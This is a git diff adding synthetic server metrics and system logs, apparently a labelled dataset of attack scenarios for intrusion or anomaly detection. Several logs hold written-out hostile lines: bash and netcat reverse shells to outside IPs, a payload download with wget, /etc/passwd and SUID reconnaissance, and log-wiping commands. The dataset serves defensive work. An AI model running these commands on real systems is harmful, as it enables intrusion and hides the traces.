[ 18375.123456] usb 1-1: new high-speed USB device number 75 using xhci_hcd diff --git a/mali_dataset/scenario_10/mali_10_9.csv b/mali_dataset/scenario_10/mali_10_9.csv new file mode 100644 index 0000000000000000000000000000000000000000..e8ca828d9857c609827ff36a4ce6a2ca4af71f42 --- /dev/null +++ b/mali_dataset/scenario_10/mali_10_9.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-29T10:00:00Z,19.76,39.46,26.28,1.12,0.59 +2025-08-29T10:00:05Z,15.6,42.6,31.11,0.95,0.84 +2025-08-29T10:00:10Z,15.1,41.62,31.75,1.16,0.85 +2025-08-29T10:00:15Z,16.24,39.88,33.81,0.89,0.94 +2025-08-29T10:00:20Z,17.74,38.6,31.18,1.05,0.85 +2025-08-29T10:00:25Z,16.13,41.53,24.96,1.22,0.46 +2025-08-29T10:00:30Z,12.12,39.94,33.39,0.88,0.54 +2025-08-29T10:00:35Z,17.28,42.65,29.21,1.08,0.73 +2025-08-29T10:00:40Z,13.51,39.88,28.57,1.34,0.68 +2025-08-29T10:00:45Z,14.91,39.24,25.9,0.97,0.59 +2025-08-29T10:00:50Z,12.99,40.66,25.98,0.67,0.64 +2025-08-29T10:00:55Z,17.13,41.13,34.54,0.86,0.63 +2025-08-29T10:01:00Z,14.91,42.04,29.02,1.07,0.72 +2025-08-29T10:01:05Z,15.2,40.18,29.52,0.96,1.06 +2025-08-29T10:01:10Z,15.6,41.24,26.16,1.04,0.92 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0000000000000000000000000000000000000000..9ecb1de042acefaecce9a2100a198142c6422d0c --- /dev/null +++ b/mali_dataset/scenario_10/mali_10_9.log @@ -0,0 +1,38 @@ +Aug 29 10:00:00 server systemd[1]: Starting daily apt upgrade and clean activities... +Aug 29 10:00:00 server sshd[12345]: Accepted publickey for user root from 10.0.2.2 port 22 ssh2: RSA SHA256:... +Aug 29 10:00:00 server CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 29 10:00:00 server auth.log: sudo: pam_unix(sudo:session): session opened for user root by (uid=0) +Aug 29 10:00:15 server auth.log: sudo: pam_unix(sudo:session): session opened for user root by (uid=0) +Aug 29 10:00:30 server auth.log: sudo: pam_unix(sudo:session): session opened for user root by (uid=0) +Aug 29 10:00:35 server sshd[12345]: Accepted publickey for user root from 10.0.2.2 port 22 ssh2: RSA SHA256:... +Aug 29 10:00:45 server auth.log: sudo: pam_unix(sudo:session): session opened for user root by (uid=0) +Aug 29 10:00:50 server systemd[1]: Starting daily apt upgrade and clean activities... +Aug 29 10:01:00 server CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 29 10:01:00 server auth.log: sudo: pam_unix(sudo:session): session opened for user root by (uid=0) +Aug 29 10:01:10 server sshd[12345]: Accepted publickey for user root from 10.0.2.2 port 22 ssh2: RSA SHA256:... +Aug 29 10:01:15 server auth.log: sudo: pam_unix(sudo:session): session opened for user root by (uid=0) +Aug 29 10:01:30 server auth.log: sudo: pam_unix(sudo:session): session opened for user root by (uid=0) +Aug 29 10:01:40 server systemd[1]: Starting daily apt upgrade and clean activities... +Aug 29 10:01:45 server sshd[12345]: Accepted publickey for user root from 10.0.2.2 port 22 ssh2: RSA SHA256:... +Aug 29 10:01:45 server auth.log: sudo: pam_unix(sudo:session): session opened for user root by (uid=0) +Aug 29 10:02:00 server CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 29 10:02:00 server auth.log: sudo: pam_unix(sudo:session): session opened for user root by (uid=0) +Aug 29 10:02:15 server auth.log: sudo: pam_unix(sudo:session): session opened for user root by (uid=0) +Aug 29 10:02:20 server sshd[12345]: Accepted publickey for user root from 10.0.2.2 port 22 ssh2: RSA SHA256:... +Aug 29 10:02:30 server systemd[1]: Starting daily apt upgrade and clean activities... +Aug 29 10:02:30 server auth.log: sudo: pam_unix(sudo:session): session opened for user root by (uid=0) +Aug 29 10:02:45 server auth.log: sudo: pam_unix(sudo:session): session opened for user root by (uid=0) +Aug 29 10:02:55 server sshd[12345]: Accepted publickey for user root from 10.0.2.2 port 22 ssh2: RSA SHA256:... +Aug 29 10:03:00 server CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 29 10:03:00 server auth.log: sudo: pam_unix(sudo:session): session opened for user root by (uid=0) +Aug 29 10:03:15 server auth.log: sudo: pam_unix(sudo:session): session opened for user root by (uid=0) +Aug 29 10:03:20 server systemd[1]: Starting daily apt upgrade and clean activities... +Aug 29 10:03:30 server sshd[12345]: Accepted publickey for user root from 10.0.2.2 port 22 ssh2: RSA SHA256:... +Aug 29 10:03:30 server auth.log: sudo: pam_unix(sudo:session): session opened for user root by (uid=0) +Aug 29 10:03:45 server bash[12399]: history -c +Aug 29 10:03:45 server bash[12399]: rm /var/log/auth.log +Aug 29 10:03:45 server bash[12399]: cat /dev/null > /var/log/syslog +Aug 29 10:05:00 server systemd[1]: Started Session 60 of user root. +Aug 29 10:05:00 server kubelet[2345]: INFO Liveness probe succeeded for pod web-app-prod +Aug 29 10:06:15 server systemd[1]: Started Session 75 of user root. +Aug 29 10:06:40 server kubelet[2345]: INFO Liveness probe succeeded for pod web-app-prod diff --git a/mali_dataset/scenario_11/mali_11_1.csv b/mali_dataset/scenario_11/mali_11_1.csv new file mode 100644 index 0000000000000000000000000000000000000000..18eb2ecb48b61efd6de44ea241361c84aeca2028 --- /dev/null +++ b/mali_dataset/scenario_11/mali_11_1.csv @@ -0,0 +1,90 @@ +"timestamp,cpu_usage,mem_usage,disk_io,net_out" +"2025-08-29T15:45:00Z,11.5,26.1,10.3,3.1" +"2025-08-29T15:45:05Z,12.1,26.3,8.9,2.5" +"2025-08-29T15:45:10Z,10.9,26.2,12.1,4.2" +"2025-08-29T15:45:15Z,13.3,26.5,9.5,2.8" +"2025-08-29T15:45:20Z,11.8,26.4,11.2,3.5" +"2025-08-29T15:45:25Z,12.5,26.6,10.8,2.9" +"2025-08-29T15:45:30Z,10.2,26.3,13.4,4.5" +"2025-08-29T15:45:35Z,12.8,26.7,9.1,3.3" +"2025-08-29T15:45:40Z,11.4,26.5,10.5,2.7" +"2025-08-29T15:45:45Z,13.1,26.8,11.9,4.1" +"2025-08-29T15:45:50Z,12.3,26.6,9.8,3.0" +"2025-08-29T15:45:55Z,11.9,26.7,12.3,3.8" +"2025-08-29T15:46:00Z,35.2,27.1,15.8,5.5" +"2025-08-29T15:46:05Z,14.5,27.3,11.1,20.5" +"2025-08-29T15:46:10Z,13.2,27.3,10.2,19.8" +"2025-08-29T15:46:15Z,12.9,27.2,9.9,21.1" +"2025-08-29T15:46:20Z,13.5,27.4,10.5,20.2" +"2025-08-29T15:46:25Z,12.8,27.3,9.7,19.5" +"2025-08-29T15:46:30Z,25.8,27.9,12.3,45.7" +"2025-08-29T15:46:35Z,13.1,27.4,10.1,21.3" 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+"2025-08-29T15:50:25Z,13.9,29.7,10.4,21.4" +"2025-08-29T15:50:30Z,45.9,30.5,18.7,110.2" +"2025-08-29T15:50:35Z,14.1,29.9,10.6,22.0" +"2025-08-29T15:50:40Z,13.7,29.8,10.3,21.3" +"2025-08-29T15:50:45Z,14.7,30.0,11.6,24.0" +"2025-08-29T15:50:50Z,14.0,29.9,10.5,21.8" +"2025-08-29T15:50:55Z,14.8,30.1,11.7,24.2" +"2025-08-29T15:51:00Z,14.2,30.0,10.7,22.1" +"2025-08-29T15:51:05Z,14.9,30.2,11.8,24.5" +"2025-08-29T15:51:10Z,14.3,30.1,10.8,22.3" +"2025-08-29T15:51:15Z,15.0,30.3,11.9,24.7" +"2025-08-29T15:51:20Z,14.4,30.2,10.9,22.5" +"2025-08-29T15:51:25Z,15.1,30.4,12.0,24.9" +"2025-08-29T15:51:30Z,14.5,30.3,11.0,22.7" +"2025-08-29T15:51:35Z,15.2,30.5,12.1,25.1" +"2025-08-29T15:51:40Z,14.6,30.4,11.1,22.9" +"2025-08-29T15:51:45Z,15.3,30.6,12.2,25.3" +"2025-08-29T15:51:50Z,14.7,30.5,11.2,23.1" +"2025-08-29T15:51:55Z,15.4,30.7,12.3,25.5" +"2025-08-29T15:52:00Z,14.8,30.6,11.3,23.3" +"2025-08-29T15:52:05Z,15.5,30.8,12.4,25.8" +"2025-08-29T15:52:10Z,14.9,30.7,11.4,23.5" +"2025-08-29T15:52:15Z,15.6,30.9,12.5,26.0" +"2025-08-29T15:52:20Z,15.0,30.8,11.5,23.7" diff --git a/mali_dataset/scenario_11/mali_11_1.log b/mali_dataset/scenario_11/mali_11_1.log new file mode 100644 index 0000000000000000000000000000000000000000..8e3c5e696b34a2a04fb2c57b87c857c0af40ec73 --- /dev/null +++ b/mali_dataset/scenario_11/mali_11_1.log @@ -0,0 +1,24 @@ +Aug 29 15:45:01 victim-server CRON[5501]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 29 15:45:08 victim-server sshd[5510]: Invalid user admin from 203.0.113.55 port 48230 +Aug 29 15:45:15 victim-server systemd[1]: Starting Clean php session files... +Aug 29 15:45:26 victim-server sshd[5515]: Accepted password for user admin from 198.51.100.12 port 51234 ssh2 +Aug 29 15:45:38 victim-server systemd[1]: Finished Clean php session files. +Aug 29 15:46:00 victim-server nginx: 185.17.42.99 - - [29/Aug/2025:15:46:00 -0400] "POST /cgi-bin/status?payload=%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F185.17.42.99%2F4444%200%3E%261 HTTP/1.1" 200 150 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" +Aug 29 15:46:05 victim-server auditd[811]: type=SYSCALL msg=audit(1756549565.342:251): arch=c000003e syscall=42 success=yes exit=0 a0=4 a1=7ffd9b6e8a20 a2=10 a3=0 items=0 ppid=1234 pid=5678 auid=33 uid=33 gid=33 euid=33 suid=33 fsuid=33 egid=33 sgid=33 fsgid=33 tty=(none) ses=1 comm="bash" exe="/usr/bin/bash" key="reverseshell_connect" +Aug 29 15:46:06 victim-server kernel: [1845.132] [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=192.0.2.100 DST=10.0.2.15 PROTO=TCP DPT=22 +Aug 29 15:46:30 victim-server auditd[811]: type=EXECVE msg=audit(1756549590.812:252): ppid=5678 pid=5680 argc=1 a0="whoami" +Aug 29 15:46:31 victim-server auditd[811]: type=EXECVE msg=audit(1756549591.932:253): ppid=5678 pid=5681 argc=1 a0="id" +Aug 29 15:47:01 victim-server CRON[5580]: (root) CMD ( /usr/lib/sysstat/sa1 1 1) +Aug 29 15:47:30 victim-server auditd[811]: type=EXECVE msg=audit(1756549650.115:254): ppid=5678 pid=5695 argc=3 a0="ls" a1="-la" a2="/tmp" +Aug 29 15:48:05 victim-server systemd[1]: Starting system activity accounting tool... +Aug 29 15:48:15 victim-server sshd[5610]: Disconnected from user admin 198.51.100.12 port 51234 +Aug 29 15:48:40 victim-server systemd[1]: sysstat-collect.service: Succeeded. +Aug 29 15:49:00 victim-server auditd[811]: type=EXECVE msg=audit(1756549740.481:255): ppid=5678 pid=5712 argc=2 a0="cat" a1="/etc/passwd" +Aug 29 15:49:25 victim-server postfix/pickup[5100]: B3F4A40A6F: uid=0 from= +Aug 29 15:49:25 victim-server postfix/cleanup[5720]: B3F4A40A6F: message-id=<20250829194925.B3F4A40A6F@victim-server.localdomain> +Aug 29 15:49:26 victim-server postfix/qmgr[1410]: B3F4A40A6F: from=, size=637, nrcpt=1 (queue active) +Aug 29 15:50:01 victim-server CRON[5725]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 29 15:50:30 victim-server auditd[811]: type=EXECVE msg=audit(1756549830.759:256): ppid=5678 pid=5730 argc=2 a0="ps" a1="aux" +Aug 29 15:51:10 victim-server systemd[1]: Started Session 5 of user root. +Aug 29 15:51:45 victim-server dbus-daemon[850]: [system] Activating via systemd: service name='org.freedesktop.PackageKit' unit='packagekit.service' requested by ':1.102' (uid=0 pid=5745 comm="/usr/bin/gdbus call --system --dest org.freedesk") +Aug 29 15:52:15 victim-server PackageKit: daemon start \ No newline at end of file diff --git a/mali_dataset/scenario_11/mali_11_10.csv b/mali_dataset/scenario_11/mali_11_10.csv new file mode 100644 index 0000000000000000000000000000000000000000..2ac571fcd73d062925c77cc777d4d023bda14450 --- /dev/null +++ b/mali_dataset/scenario_11/mali_11_10.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,gpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T14:00:00Z,15.8,N/A,44.11,0.24,1.47,2.1 +2025-08-22T14:00:05Z,16.35,N/A,45.83,0.2,1.09,1.56 +2025-08-22T14:00:10Z,13.9,N/A,43.65,0.2,1.97,1.45 +2025-08-22T14:00:15Z,12.32,N/A,43.81,0.26,1.35,1.54 +2025-08-22T14:00:20Z,12.27,N/A,44.69,0.25,1.9,1.49 +2025-08-22T14:00:25Z,16.2,N/A,43.82,0.13,1.47,1.01 +2025-08-22T14:00:30Z,12.95,N/A,43.86,0.2,1.31,0.65 +2025-08-22T14:00:35Z,14.74,N/A,44.43,0.23,1.36,1.17 +2025-08-22T14:00:40Z,16.45,N/A,43.51,0.13,1.48,1.1 +2025-08-22T14:00:45Z,15.26,N/A,42.47,0.21,1.65,0.68 +2025-08-22T14:00:50Z,15.17,N/A,43.42,0.21,1.57,0.77 +2025-08-22T14:00:55Z,18.96,N/A,47.79,0.25,1.67,0.76 +2025-08-22T14:01:00Z,17.97,N/A,44.87,0.18,1.27,1.54 +2025-08-22T14:01:05Z,16.21,N/A,43.27,0.2,1.66,1.14 +2025-08-22T14:01:10Z,16.08,N/A,44.37,0.24,1.79,1.42 +2025-08-22T14:01:15Z,14.89,N/A,44.2,0.17,0.73,0.59 +2025-08-22T14:01:20Z,14.87,N/A,45.62,0.21,1.5,1.0 +2025-08-22T14:01:25Z,13.86,N/A,44.91,0.21,1.75,1.14 +2025-08-22T14:01:30Z,12.4,N/A,46.58,0.23,1.28,1.29 +2025-08-22T14:01:35Z,17.17,N/A,42.85,0.21,2.1,1.76 +2025-08-22T14:01:40Z,17.08,N/A,44.41,0.11,1.3,1.14 +2025-08-22T14:01:45Z,13.3,N/A,42.95,0.12,1.47,1.21 +2025-08-22T14:01:50Z,14.7,N/A,45.76,0.22,1.46,1.26 +2025-08-22T14:01:55Z,13.08,N/A,44.04,0.24,1.12,1.11 +2025-08-22T14:02:00Z,17.75,N/A,45.27,0.23,1.35,1.03 +2025-08-22T14:02:05Z,16.78,N/A,46.69,0.22,1.46,1.25 +2025-08-22T14:02:10Z,15.7,N/A,42.66,0.15,1.49,1.66 +2025-08-22T14:02:15Z,15.89,N/A,44.53,0.21,1.44,1.35 +2025-08-22T14:02:20Z,16.28,N/A,43.3,0.21,0.79,1.08 +2025-08-22T14:02:25Z,14.98,N/A,44.14,0.21,1.55,0.59 +2025-08-22T14:02:30Z,5.07,N/A,45.87479049395031,0.03,0.22,0.7 +2025-08-22T14:02:35Z,4.57,N/A,43.55802996624326,0.04,0.21,0.92 +2025-08-22T14:02:40Z,4.23,N/A,42.71644409451254,0.06,0.19,0.71 +2025-08-22T14:02:45Z,6.27,N/A,45.73831380188445,0.05,0.19,0.76 +2025-08-22T14:02:50Z,4.75,N/A,42.04138311479024,0.05,0.24,0.85 +2025-08-22T14:02:55Z,4.71,N/A,46.33098976710851,0.05,0.21,0.8 +2025-08-22T14:03:00Z,4.74,N/A,44.43170897188147,0.05,0.21,0.8 +2025-08-22T14:03:05Z,4.74,N/A,44.83341677444615,0.05,0.18,0.77 +2025-08-22T14:03:10Z,4.96,N/A,44.98293785623892,0.05,0.21,0.77 +2025-08-22T14:03:15Z,6.28,N/A,46.48973589820487,0.06,0.19,0.81 +2025-08-22T14:03:20Z,35.5,N/A,44.52213476043317,0.06,0.21,0.68 +2025-08-22T14:03:25Z,7.49,N/A,45.81482881282267,0.05,0.22,0.74 +2025-08-22T14:03:30Z,4.66,N/A,42.9790451663005,0.05,0.21,0.85 +2025-08-22T14:03:35Z,5.23,N/A,43.81255969687324,0.06,0.22,0.73 +2025-08-22T14:03:40Z,4.49,N/A,44.77340750276326,0.04,0.21,0.75 +2025-08-22T14:03:45Z,3.5,N/A,46.721905688815006,0.04,0.19,0.84 +2025-08-22T14:03:50Z,2.63,N/A,42.04824026589535,0.05,0.2,0.78 +2025-08-22T14:03:55Z,5.07,N/A,45.82449067998857,0.03,0.19,0.84 +2025-08-22T14:04:00Z,5.5,N/A,45.525257310956,0.04,0.22,0.84 +2025-08-22T14:04:05Z,5.87,N/A,46.64688859256339,0.05,0.17,0.83 +2025-08-22T14:04:10Z,6.11,N/A,44.01153341144494,0.05,0.19,0.81 +2025-08-22T14:04:15Z,5.76,N/A,45.46351277979191,0.06,0.23,0.73 +2025-08-22T14:04:20Z,6.45,N/A,45.16103013935908,0.06,0.18,0.8 +2025-08-22T14:04:25Z,6.45,N/A,46.329330028993375,0.02,0.21,0.87 +2025-08-22T14:04:30Z,6.92,N/A,44.980458464135225,0.05,0.2,0.75 +2025-08-22T14:04:35Z,42.1,N/A,48.02829685990094,0.05,0.17,0.85 +2025-08-22T14:04:40Z,6.0,N/A,41.012346183439,0.05,0.2,0.68 +2025-08-22T14:04:45Z,5.52,N/A,44.477369846774465,0.06,0.21,0.88 +2025-08-22T14:04:50Z,7.87,N/A,46.70392228395444,0.07,0.21,0.82 +2025-08-22T14:04:55Z,4.91,N/A,44.52528549855179,0.04,0.22,0.78 +2025-08-22T14:05:00Z,3.21,N/A,44.84428000087711,0.06,0.18,0.82 +2025-08-22T14:05:05Z,4.37,N/A,45.1343518845758,0.05,0.24,0.86 +2025-08-22T14:05:10Z,4.4,N/A,43.32759922969185,0.06,0.21,0.71 +2025-08-22T14:05:15Z,4.72,N/A,44.3040344015329,0.07,0.22,0.78 +2025-08-22T14:05:20Z,6.78,N/A,42.66755724005573,0.05,0.17,0.81 +2025-08-22T14:05:25Z,5.58,N/A,43.80524661567497,0.05,0.2,0.82 +2025-08-22T14:05:30Z,5.52,N/A,43.711589726956255,0.05,0.19,0.91 +2025-08-22T14:05:35Z,5.42,N/A,44.62136321832191,0.05,0.21,0.77 +2025-08-22T14:05:40Z,6.58,N/A,42.36677196505085,0.05,0.19,0.79 +2025-08-22T14:05:45Z,5.81,N/A,43.99551445767307,0.04,0.19,0.89 +2025-08-22T14:05:50Z,38.9,N/A,44.992293418081985,0.05,0.2,0.77 +2025-08-22T14:05:55Z,4.99,N/A,45.485356826337174,0.05,0.18,0.83 +2025-08-22T14:06:00Z,7.09,N/A,45.12835526651596,0.05,0.21,0.87 +2025-08-22T14:06:05Z,5.97,N/A,44.580673574593014,0.05,0.2,0.8 +2025-08-22T14:06:10Z,4.57,N/A,44.94565836759082,0.04,0.2,0.71 +2025-08-22T14:06:15Z,3.47,N/A,45.258340391154185,0.05,0.21,0.79 +2025-08-22T14:06:20Z,5.31,N/A,45.32330564450176,0.06,0.22,0.79 +2025-08-22T14:06:25Z,3.58,N/A,44.96994775316736,0.05,0.2,0.76 +2025-08-22T14:06:30Z,3.23,N/A,41.454018547179665,0.04,0.21,0.82 +2025-08-22T14:06:35Z,3.33,N/A,44.03855473295245,0.06,0.2,0.82 +2025-08-22T14:06:40Z,4.92,N/A,45.87408726899815,15.7,0.21,0.87 +2025-08-22T14:06:45Z,6.12,N/A,44.111329929705335,0.03,0.23,0.78 +2025-08-22T14:06:50Z,5.58,N/A,43.443619796360124,0.05,0.17,0.8 +2025-08-22T14:06:55Z,6.43,N/A,42.727552671278104,0.05,0.21,0.77 +2025-08-22T14:07:00Z,4.32,N/A,47.87765990775819,0.05,0.22,0.81 +2025-08-22T14:07:05Z,4.69,N/A,44.23436707394476,0.06,0.21,0.81 +2025-08-22T14:07:10Z,4.59,N/A,45.67194893914577,0.04,0.22,0.8 +2025-08-22T14:07:15Z,4.34,N/A,45.86764309877529,0.05,0.21,0.78 +2025-08-22T14:07:20Z,3.88,N/A,48.57734774120541,0.05,0.22,0.82 +2025-08-22T14:07:25Z,4.36,N/A,43.6545464086309,0.06,0.25,0.72 diff --git a/mali_dataset/scenario_11/mali_11_10.log b/mali_dataset/scenario_11/mali_11_10.log new file mode 100644 index 0000000000000000000000000000000000000000..177f35026d3e3c3cbf67dccec215440af98b19d6 --- /dev/null +++ b/mali_dataset/scenario_11/mali_11_10.log @@ -0,0 +1,18 @@ +Aug 22 14:00:00 web-app-prod-01 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 14:00:00 web-app-prod-01 systemd[1]: Starting daily clean up activities... +Aug 22 14:01:15 web-app-prod-01 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 14:01:40 web-app-prod-01 systemd[1]: Starting daily clean up activities... +Aug 22 14:02:20 web-app-prod-01 web-app-prod-01[4321]: ERROR Exception processing request for /api/v1/user/profile. Possible command injection attempt with payload: 'id; nc 101.12.110.4 9999 -e /bin/bash' +Aug 22 14:02:30 web-app-prod-01 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 14:02:30 web-app-prod-01 auditd[555]: type=SYSCALL msg=audit(1755871350.0:123): arch=c000003e syscall=42 success=yes exit=0 a0=4 a1=7f0c1d2e3f40 a2=10 a3=0 items=0 ppid=4321 pid=9876 auid=4294967295 uid=33 gid=33 euid=33 suid=33 fsuid=33 egid=33 sgid=33 fsgid=33 tty=(none) ses=4294967295 comm="nc" exe="/bin/netcat" key="reverse_shell" +Aug 22 14:02:30 web-app-prod-01 kernel: [12345.678] audit: type=1300 audit(1755871350.0:123): arch=c000003e syscall=42 success=yes exit=0 a0=4 a1=7f0c1d2e3f40 a2=10 a3=0 items=0 ppid=4321 pid=9876 auid=4294967295 uid=33 gid=33 euid=33 suid=33 fsuid=33 egid=33 sgid=33 fsgid=33 tty=(none) ses=4294967295 comm="nc" exe="/bin/netcat" key="reverse_shell" +Aug 22 14:03:20 web-app-prod-01 auditd[555]: type=EXECVE msg=audit(1755871400.0:124): ppid=9876 pid=9880 cmdline="whoami" +Aug 22 14:03:20 web-app-prod-01 systemd[1]: Starting daily clean up activities... +Aug 22 14:03:45 web-app-prod-01 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 14:04:35 web-app-prod-01 auditd[555]: type=EXECVE msg=audit(1755871475.0:125): ppid=9876 pid=9910 cmdline="find / -perm -4000" +Aug 22 14:05:00 web-app-prod-01 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 14:05:00 web-app-prod-01 systemd[1]: Starting daily clean up activities... +Aug 22 14:05:50 web-app-prod-01 auditd[555]: type=EXECVE msg=audit(1755871550.0:126): ppid=9876 pid=9950 cmdline="ps -aux" +Aug 22 14:06:15 web-app-prod-01 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 14:06:40 web-app-prod-01 auditd[555]: type=SYSCALL msg=audit(1755871600.0:127): arch=c000003e syscall=2 success=yes exit=3 a0=7ffd1f9b9e10 a1=0 a2=1fffffffffff0000 a3=0 items=1 ppid=9876 pid=9985 auid=4294967295 uid=33 gid=33 euid=33 suid=33 fsuid=33 egid=33 sgid=33 fsgid=33 tty=(none) ses=4294967295 comm="cat" exe="/bin/cat" path="/etc/passwd" key="file_read" +Aug 22 14:06:40 web-app-prod-01 systemd[1]: Starting daily clean up activities... diff --git a/mali_dataset/scenario_11/mali_11_11.csv b/mali_dataset/scenario_11/mali_11_11.csv new file mode 100644 index 0000000000000000000000000000000000000000..dc10c531e330c63bf88aff96c553e138c90092ae --- /dev/null +++ b/mali_dataset/scenario_11/mali_11_11.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-29 10:00:00+00:00,13.689225812812293,36.68279956983268,5.0299848254408195,1.3864402951162862,0.6263236118579102 +2025-08-29 10:00:05+00:00,12.189381709359688,43.808564082847695,6.173049164791041,1.0411388515853415,1.4967550817171822 +2025-08-29 10:00:10+00:00,14.819543001467714,44.118522126391824,9.311453295222956,0.9329871136359739,1.2303576872721411 +2025-08-29 10:00:15+00:00,8.470103325367102,43.45422381111213,6.475660077378064,0.5341073607463428,1.274699932886906 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server systemd[1]: Starting daily clean up activities... +Aug 29 10:00:20 web-app[3456]: GET /api/v1/user/profile status=200 OK +Aug 29 10:01:05 server CRON[4123]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 29 10:01:50 web-app[3456]: POST /api/v1/login status=200 OK +Aug 29 10:01:58 web-app[3456]: ERROR Exception processing request for /api/v1/system/exec with payload '{"command":"/bin/bash"}' +Aug 29 10:02:00 server auditd[550]: type=EXECVE msg=audit(1756461720:789): ppid=3456 pid=4201 a0=/bin/bash a1=-c a2=bash -i >& /dev/tcp/198.51.100.123/4444 0>&1 +Aug 29 10:02:01 server kernel: [UFW BLOCK] IN= OUT=eth0 SRC=172.17.0.5 DST=198.51.100.123 PROTO=TCP SPT=45890 DPT=4444 WINDOW=64240 RES=0x00 SYN URGP=0 +Aug 29 10:03:45 server auditd[550]: type=EXECVE msg=audit(1756461825:795): ppid=4201 pid=4210 a0=ls a1=-la a2=/etc +Aug 29 10:04:10 web-app[3456]: GET /api/v1/status status=200 OK +Aug 29 10:05:00 server auditd[550]: type=EXECVE msg=audit(1756461900:812): ppid=4201 pid=4215 a0=cat a1=/var/log/auth.log +Aug 29 10:06:15 server auditd[550]: type=EXECVE msg=audit(1756461975:830): ppid=4201 pid=4220 a0=/usr/bin/wget a1=http://198.51.100.123/tools/scanner +Aug 29 10:07:00 web-app[3456]: GET /api/v1/user/settings status=200 OK +Aug 29 10:07:25 server systemd[1]: Daily clean up activities finished. diff --git a/mali_dataset/scenario_11/mali_11_12.csv b/mali_dataset/scenario_11/mali_11_12.csv new file mode 100644 index 0000000000000000000000000000000000000000..db78fb3dce3e6b711a07573b5c2ac1f7da59f335 --- /dev/null +++ b/mali_dataset/scenario_11/mali_11_12.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T14:30:00Z,7.5745639183578275,35.76698152614323,0.3960963374982084,1.1028039707351869,1.1263802391230893 +2025-08-15T14:30:05Z,8.087852327654343,38.89938767821968,0.38369173947544954,1.356783982977511,0.9839684253441079 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b/mali_dataset/scenario_11/mali_11_12.log new file mode 100644 index 0000000000000000000000000000000000000000..06267a83e13706ba5dbd6f35e9baa29b4a8e355d --- /dev/null +++ b/mali_dataset/scenario_11/mali_11_12.log @@ -0,0 +1,14 @@ +Aug 15 14:30:25 CRON[4555]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 15 14:30:50 web-app[4567]: GET /api/v1/health status=200 OK +Aug 15 14:31:40 systemd[1]: Starting Daily apt download activities... +Aug 15 14:32:05 web-app[4567]: GET /api/v1/user/99 status=200 OK +Aug 15 14:32:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.192.70.101 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=54321 DF PROTO=TCP SPT=44321 DPT=9001 WINDOW=65535 RES=0x00 SYN +Aug 15 14:32:30 web-app[4567]: ERROR Exception processing request for /api/v1/upload: java.lang.RuntimeException: Deserialization of untrusted data +Aug 15 14:35:25 web-app[4567]: GET /api/v1/metrics status=200 OK +Aug 15 14:37:05 CRON[4801]: (root) CMD ( test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )) +type=EXECVE msg=audit(2025-08-15T14:33:20.000): argc=1 a0="whoami" ppid=4599 pid=4600 uid=33 gid=33 comm="bash" exe="/usr/bin/whoami" key="reverse_shell_cmd" +type=EXECVE msg=audit(2025-08-15T14:34:35.000): argc=2 a0="ps" a1="aux" ppid=4599 pid=4601 uid=33 gid=33 comm="bash" exe="/usr/bin/ps" key="reverse_shell_cmd" +type=EXECVE msg=audit(2025-08-15T14:35:50.000): argc=2 a0="cat" a1="/etc/passwd" ppid=4599 pid=4602 uid=33 gid=33 comm="bash" exe="/usr/bin/cat" key="reverse_shell_cmd" +type=EXECVE msg=audit(2025-08-15T14:36:40.000): argc=3 a0="ls" a1="-l" a2="/tmp" ppid=4599 pid=4603 uid=33 gid=33 comm="bash" exe="/usr/bin/ls" key="reverse_shell_cmd" +type=SOCKADDR msg=audit(2025-08-15T14:32:30.150): saddr=02002329b9c04665 +type=SYSCALL msg=audit(2025-08-15T14:32:30.150): arch=c000003e syscall=42 success=yes exit=0 a0=c a1=7ffd8c078e30 a2=10 a3=0 items=0 ppid=4567 pid=4599 auid=33 uid=33 gid=33 euid=33 suid=33 fsuid=33 egid=33 sgid=33 fsgid=33 tty=(none) ses=1 comm="bash" exe="/usr/bin/bash" key="reverse_shell" diff --git a/mali_dataset/scenario_11/mali_11_13.csv b/mali_dataset/scenario_11/mali_11_13.csv new file mode 100644 index 0000000000000000000000000000000000000000..f9c8630afddb40a16e9a1f818919bccfb58c27b3 --- /dev/null +++ b/mali_dataset/scenario_11/mali_11_13.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-09-22T10:00:00Z,11.778568904543736,49.99993905683126,0.5954553879479931,2.378954937145447,1.9757244356667432 +2025-09-22T10:00:05Z,14.03980796767878,46.10096640756368,0.6523171452967136,2.9467747570812457,1.8721720086164928 +2025-09-22T10:00:10Z,12.930726897866101,48.194676136327516,0.8527231382904621,2.6628206024763816,1.6093129207293548 +2025-09-22T10:00:15Z,13.307639383904034,46.506369031797654,0.5561023277822121,2.924663678483626,2.4903387109233934 +2025-09-22T10:00:20Z,14.991218998577189,47.253367271164194,0.9446248935014285,2.6794861866635675,2.4904562432004296 